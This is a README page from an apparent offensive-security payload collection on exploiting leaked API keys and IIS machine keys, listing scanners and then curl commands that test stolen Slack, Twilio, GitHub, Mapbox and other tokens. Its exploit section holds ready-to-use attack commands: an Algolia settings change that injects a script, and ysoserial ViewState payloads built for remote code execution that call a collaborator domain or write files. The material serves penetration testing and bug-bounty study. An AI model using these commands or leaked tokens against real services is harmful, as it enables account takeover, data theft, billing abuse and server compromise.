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Ikko Eltociear Ashimine 2aaeac91f8
Fix typo in README.md 
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Files UnPAC The Hash + MachineKeys.txt 2021-10-26 21:56:39 +02:00
README.md Fix typo in README.md 2023-09-22 00:11:33 +09:00

README.md

API Key Leaks

The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.

Summary

Tools

  • momenbasel/KeyFinder - is a tool that let you find keys while surfing the web
  • streaak/keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
  • trufflesecurity/truffleHog - Find credentials all over the place 
    docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
trufflehog git https://github.com/trufflesecurity/trufflehog.git
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2
  • aquasecurity/trivy - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
  • projectdiscovery/nuclei-templates - Use these templates to test an API token against many API service endpoints 
    nuclei -t token-spray/ -var token=token_list.txt
  • blacklanternsecurity/badsecrets - A library for detecting known or weak secrets on across many platforms 
    python examples/cli.py --url http://example.com/contains_bad_secret.html
python examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
  • mazen160/secrets-patterns-db - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.

Exploit

The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

Google Maps

Use : https://github.com/ozguralp/gmapsapiscanner/

Usage:

Name Endpoint
Static Maps https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE
Streetview https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE
Embed https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE
Directions https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE
Geocoding https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE
Distance Matrix https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE
Find Place from Text https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE
Autocomplete https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE
Elevation https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE
Timezone https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY_HERE
Roads https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795
Geolocate https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE

Impact:

  • Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
  • Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account

Algolia

curl --request PUT \
  --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
  --header 'content-type: application/json' \
  --header 'x-algolia-api-key: <example-key>' \
  --header 'x-algolia-application-id: <example-application-id>' \
  --data '{"highlightPreTag": "<script>alert(1);</script>"}'

Slack API Token

curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"

Facebook Access Token

curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2

Github client id and client secret

curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'

Twilio Account_sid and Auth token

curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN

Twitter API Secret

curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'

Twitter Bearer Token

curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'

Gitlab Personal Access Token

curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"

HockeyApp API Token

curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4

IIS Machine Keys

That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

Requirements

  • machineKey validationKey and decryptionKey
  • __VIEWSTATEGENERATOR cookies
  • __VIEWSTATE cookies

Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />

Common locations of web.config / machine.config

  • 32-bit
    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
  • 64-bit
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
  • in registry when AutoGenerate is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
    • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
    • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey

Identify known machine key

# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1

# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode

Decode ViewState

$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="

$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate  --modifier=CA0B0334 --macdecode

$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

Generate ViewState for RCE

NOTE: Send a POST request with the generated ViewState to the same endpoint, in Burp you should URL Encode Key Characters for your payload.

$ ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>"  --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>"  --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"

$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"

Edit cookies with the machine key

If you have the machineKey but the viewstate is disabled.

ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools

# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes

# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

Mapbox API Token

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is sk, jackpot. If it's pk or tk, it's not worth your time.

#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"

#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropriate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"

References